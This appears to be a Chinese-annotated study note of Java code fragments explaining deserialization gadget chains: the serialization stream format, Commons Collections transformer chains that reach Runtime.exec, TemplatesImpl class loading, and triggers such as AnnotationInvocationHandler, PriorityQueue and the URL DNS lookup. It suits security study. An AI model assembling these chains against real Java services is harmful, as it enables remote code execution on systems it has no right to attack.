Class<?> forName(String name, boolean initialize, ClassLoader loader);
// 等于Class.forName(className, true, currentLoader)
Class<?> forName(String name);

package MyProxy;

import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.lang.reflect.InvocationHandler;

public class DynamicProxy {
    public static void main(String[] args) {
        // 实例化委托对象
        Cat cat = new Cat("Beta");  
        // 使用反射，为委托对象创建InvocationHandler，用于处理代理逻辑
        MyInvocationHandler handler = new InvocationHandler(cat);  
        // 创建代理类并实例化
        Pet p = (Pet) Proxy.newProxyInstance(Cat.class.getClassLoader(), Cat.class.getInterfaces(), handler);  
        // 使用代理调用cat的方法
        p.eat();
    }
}

class MyInvocationHandler<T> implements InvocationHandler {
    private T target;

    MyInvocationHandler(T target) {
        this.target = target;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("Dynamic Proxy....");
        // 一般是在这里做拦截操作...
        return method.invoke(target, args);
    }
}

stream:
  magic version contents  # magic: ac ed  version: 00 05 它们组合为序列化流头部 后接序列化内容

contents:  
  content
  contents content  # 递归定义

content:  # 一个content可以是一个object或者blockdata
  blockdata:
    blockdatashort:
        TC_BLOCKDATA (unsigned byte)<size> (byte)[size]
    blockdatalong:
        TC_BLOCKDATALONG (int)<size> (byte)[size]
  object:
    newObject:
        TC_OBJECT classDesc newHandle classdata[]  # data for each class
            classDesc:
                newClassDesc
                nullReference
                (ClassDesc)prevObject      # 之前使用过的ClassDesc类型对象
            newHandle: # 在非共享模式下，被序列化的对象引用的对象在被多次引用时只有第一次会被真正序列化(即此处)并为其生成一个序号(即newHandle)，该序号从0x7E0000开始
                       # 递增，之后再遇到引用了已经被序列化的类时秩序要引用对应的handle即可(见下面的prevObject)
            classdata:
                nowrclass:  values        # SC_SERIALIZABLE & classDescFlag && !(SC_WRITE_METHOD & classDescFlags) 按类描述符顺序排列的字段
                wrclass objectAnnotation  # SC_SERIALIZABLE & classDescFlag && SC_WRITE_METHOD & classDescFlags
                    wrclass:  nowrclass
                externalContents:         #  SC_EXTERNALIZABLE & classDescFlag && !(SC_BLOCKDATA  & classDescFlags  readExternal使用
                    externalContent:     
                      ( bytes)                # primitive data
                          object
                    externalContents externalContent
                objectAnnotation:             # SC_EXTERNALIZABLE & classDescFlag&&  SC_BLOCKDATA & classDescFlags
                    endBlockData
                    contents endBlockData     # contents written by writeObject
                                              # or writeExternal PROTOCOL_VERSION_2.

    newClass:
        TC_CLASS classDesc newHandle
    newArray:
        TC_ARRAY classDesc newHandle (int)<size> values[size]
    newString:
        TC_STRING newHandle (utf)
        TC_LONGSTRING newHandle (long-utf)
    newEnum:
        TC_ENUM classDesc newHandle enumConstantName
            enumConstantName:    (String)object
    newClassDesc:
        TC_CLASSDESC className serialVersionUID newHandle classDescInfo  # 普通类描述
            className:  (utf)
            serialVersionUID:  (long)
            classDescInfo:  classDescFlags fields classAnnotation superClassDesc 
                classDescFlags:  (byte)                  # 类的一些和序列化相关的标志
                fields:  (short)<count>  fieldDesc[count]
                    fieldDesc:
                        primitiveDesc:  prim_typecode fieldName  # prim_typecode可以是B(byte)/C(char)/J(long)/F(float)/I(integer)/D(double)/S(short)/Z(boolean)
                        objectDesc:  obj_typecode fieldName className1  # obj_typecode可以是[(array)或L(object)
                            fieldName:  (utf)
                classAnnotation:
                    endBlockData:
                        TC_ENDBLOCKDATA
                    contents endBlockData      # contents written by annotateClass
                superClassDesc:  classDesc
        TC_PROXYCLASSDESC newHandle proxyClassDescInfo  # 代理类描述由标志 接口数 接口名 类注解组成
            proxyClassDescInfo:
                (int)<count> proxyInterfaceName[count] classAnnotation
                    proxyInterfaceName:  (utf)
                superClassDesc
    prevObject
        TC_REFERENCE (int)handle
    nullReference
        TC_NULL
    exception:
        TC_EXCEPTION reset (Throwable)object         reset 
    TC_RESET        # 会重置流，如handle编号会重置

private void readObject(java.io.ObjectInputStream s);

readObject()
readExternal()
readResolve()
readObjectNoData()
readUnshared()
validateObject()
finalize()
...

// 链式调用到Runtime.getRuntime.exec("xxx")
final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) });
final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
    new InvokerTransformer("exec", new Class[] { String.class }, execArgs),
    new ConstantTransformer(1) 
};

Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

// 转换时调用TrAXFilter构造器
final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) });
final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(
        new Class[] { Templates.class },
        new Object[] { templatesImpl } )};
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

// 构造器调用templates.newTransformer()
public class TrAXFilter extends XMLFilterImpl {
    public TrAXFilter(Templates templates)  throws
        TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _overrideDefaultParser = _transformer.overrideDefaultParser();
    }
    ...

// 最终调用到defineClass
public final class TemplatesImpl implements Templates, Serializable {  
    public synchronized Transformer newTransformer() throws TransformerConfigurationException {
        TransformerImpl transformer = new TransformerImpl(this.getTransletInstance(), this._outputProperties, this._indentNumber, this._tfactory);
        ...
    private Translet getTransletInstance() throws TransformerConfigurationException {
        this.defineTransletClasses();
        AbstractTranslet translet = (AbstractTranslet)this._class[this._transletIndex].newInstance();  // 会调用到静态块
        ...
    private void defineTransletClasses() throws TransformerConfigurationException {
        for(int i = 0; i < classCount; ++i) {
            this._class[i] = loader.defineClass(this._bytecodes[i]);  // 注意，defineClass不会初始化
          // 因此这里的类要继承于AbstractTranslet，否则之后的判断会抛异常，到达不了初始化的位置
        ...

public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
    private final Transformer<? super I, ? extends O> transformer;
    // 比较时会触发
    public int compare(I obj1, I obj2) {
        O value1 = this.transformer.transform(obj1);  
        O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

public class BeanComparator<T> implements Comparator<T>, Serializable {
    private String property;  // 想比较的属性
    public int compare(T o1, T o2) {
        if (this.property == null) {
            return this.internalCompare(o1, o2);
        } else {
            Object value1 = PropertyUtils.getProperty(o1, this.property);  //获取属性，使用getter方法
            Object value2 = PropertyUtils.getProperty(o2, this.property);
            return this.internalCompare(value1, value2);
        }
    }

public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
    protected final Transformer factory;
    // 第一次get某key时会触发
    public Object get(Object key) {
        if (!super.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
    ...

public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
    // 它未实现equals，因此调用了AbstractMapDecorator的equals
    // 它里面包含一个实现了Map接口的属性，位于AbstractMapDecorator，令其为HashMap实例
}

public abstract class AbstractMapDecorator implements Map {
    protected transient Map map;
    public boolean equals(Object object) {
        return object == this ? true : this.map.equals(object);  // 调用到HashMap的equals
    }
}
public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable {
    // 未实现equals，调用的AbstractMap的实现
}

public abstract class AbstractMap<K,V> implements Map<K,V> {
    public boolean equals(Object o) {
        ...
        try {
            Iterator<Entry<K,V>> i = entrySet().iterator();
            while (i.hasNext()) {
                Entry<K,V> e = i.next();
                K key = e.getKey();
                V value = e.getValue();
                if (value == null) {
                    if (!(m.get(key)==null && m.containsKey(key)))
                        return false;
                } else {
                    if (!value.equals(m.get(key)))  // m=>o=>LazyMap
        ...

public class TiedMapEntry implements Entry, KeyValue, Serializable {
    private final Map map;  
    private final Object key;

    public Object getValue() {
        return this.map.get(this.key);  // LazyMap.get()
    }

    public boolean equals(Object obj) {
        ...
        } else {
            Entry other = (Entry)obj;
            Object value = this.getValue();
            return (this.key == null ? other.getKey() == null : this.key.equals(other.getKey())) && (value == null ? other.getValue() == null : value.equals(other.getValue()));
        }
    }

    public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }

    public String toString() {
        return this.getKey() + "=" + this.getValue();
    }
}

public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
    protected final Transformer valueTransformer;
    // 显然这个函数应该是作用在Entry上的，需要从Entry上调，它的Entry在父类上
    protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
    }
}
abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator {
    public Set entrySet() {
        return (Set)(this.isSetValueChecking() ? new AbstractInputCheckedMapDecorator.EntrySet(super.map.entrySet(), this) : super.map.entrySet());}
    static class EntrySet extends AbstractSetDecorator {
        public Iterator iterator() {
            return new AbstractInputCheckedMapDecorator.EntrySetIterator(super.collection.iterator(), this.parent);
        ...}
    static class EntrySetIterator extends AbstractIteratorDecorator {
        public Object next() {
            Entry entry = (Entry)super.iterator.next();
            return new AbstractInputCheckedMapDecorator.MapEntry(entry, this.parent);
        ...}
    static class MapEntry extends AbstractMapEntryDecorator {
        public Object setValue(Object value) {
            value = this.parent.checkSetValue(value);
            return super.entry.setValue(value);}

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private final Map<String, Object> memberValues;  // 作为一个handler它里面可以嵌map

    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        ...
        // memberValues为动态代理的实例，它的接口是Map，handler是AnnotationInvocationHandler，因此这里会调用到内层AnnotationInvocationHandler.invoke
        Iterator var4 = this.memberValues.entrySet().iterator();  
        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    // 到这里，可让memberValues为TransformedMap，这时的Entry.setValue可触发
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }
    }

    public Object invoke(Object var1, Method var2, Object[] var3) {  // handler
        String var4 = var2.getName();
        ...
        // 这里会判断方法名是否是toString/hashCode/annotationType，是的话走其他路径，否则进这
            default:
                Object var6 = this.memberValues.get(var4);  // 这个内层的memberValues为纯纯LazyMap

public class BadAttributeValueExpException extends Exception   {  // Exception可反序列化
    private Object val;  // 放任意对象
    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);  
        ...
        } else if (System.getSecurityManager() == null  // !! 需要未启用安全管理器
                ...
                || valObj instanceof Boolean) {
            val = valObj.toString();
        ...
    }
 }

public class Hashtable<K,V> extends Dictionary<K,V> implements Map<K,V>, Cloneable, java.io.Serializable {
    private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {
        s.defaultReadObject();
        ...
        for (; elements > 0; elements--) {  // 重构hash表，挨个读取并插入
            K key = (K)s.readObject();
            V value = (V)s.readObject();
            reconstitutionPut(newTable, key, value);  
        }
    }
    private void reconstitutionPut(Entry<K,V>[] tab, K key, V value) throws StreamCorruptedException {
        int hash = hash(key);               // 这里会计算键的hashCode
        int index = (hash & 0x7FFFFFFF) % tab.length;
        for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {
            if ((e.hash == hash) && e.key.equals(key)) {        // 这里是另一个点，需要hash没有触发时才能到
                throw new java.io.StreamCorruptedException();
            }
        }
        ...
    }
    private int hash(Object k) {
        return hashSeed ^ k.hashCode();  // 会调用到key.hashCode()
    }
}

public class PriorityQueue<E> extends AbstractQueue<E> implements java.io.Serializable {
    private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
        ...
        queue = new Object[size];
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();
        heapify();
    }
    private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)  // 大于1个元素才会处理
            siftDown(i, (E) queue[i]);
    }
    private void siftDown(int k, E x) {
            siftDownUsingComparator(k, x);
    }
    private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size && comparator.compare((E) c, (E) queue[right]) > 0)  // 注意这里比较时的顺序
            ...
    }}}

public class TreeBag<E> extends AbstractMapBag<E> implements SortedBag<E>, Serializable {
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        Comparator<? super E> comp = (Comparator)in.readObject();  // 获取比较器
        super.doReadObject(new TreeMap(comp), in);
    }
    protected void doReadObject(Map<E, AbstractMapBag.MutableInteger> map, ObjectInputStream in) throws IOException, ClassNotFoundException {
        this.map = map;
        int entrySize = in.readInt();

        for(int i = 0; i < entrySize; ++i) {
            E obj = in.readObject();
            int count = in.readInt();
            map.put(obj, new AbstractMapBag.MutableInteger(count));  // TreeMap的put操作
            this.size += count;
        }
    }
    ...
    public V put(K key, V value) {  // TreeMap
        Entry<K,V> t = root;
        if (t == null) {
            compare(key, key); // yeah
        ...

public final class URL implements java.io.Serializable {
    public synchronized int hashCode() {
        if (hashCode != -1)  // hashCode为-1表示未缓存
            return hashCode;
        hashCode = handler.hashCode(this);
      ...}}
public final class URL implements java.io.Serializable {
    protected int hashCode(URL u) {
        InetAddress addr = getHostAddress(u);
      ...}
    protected synchronized InetAddress getHostAddress(URL u) {
        u.hostAddress = InetAddress.getByName(host);  // DNS解析
            ...}}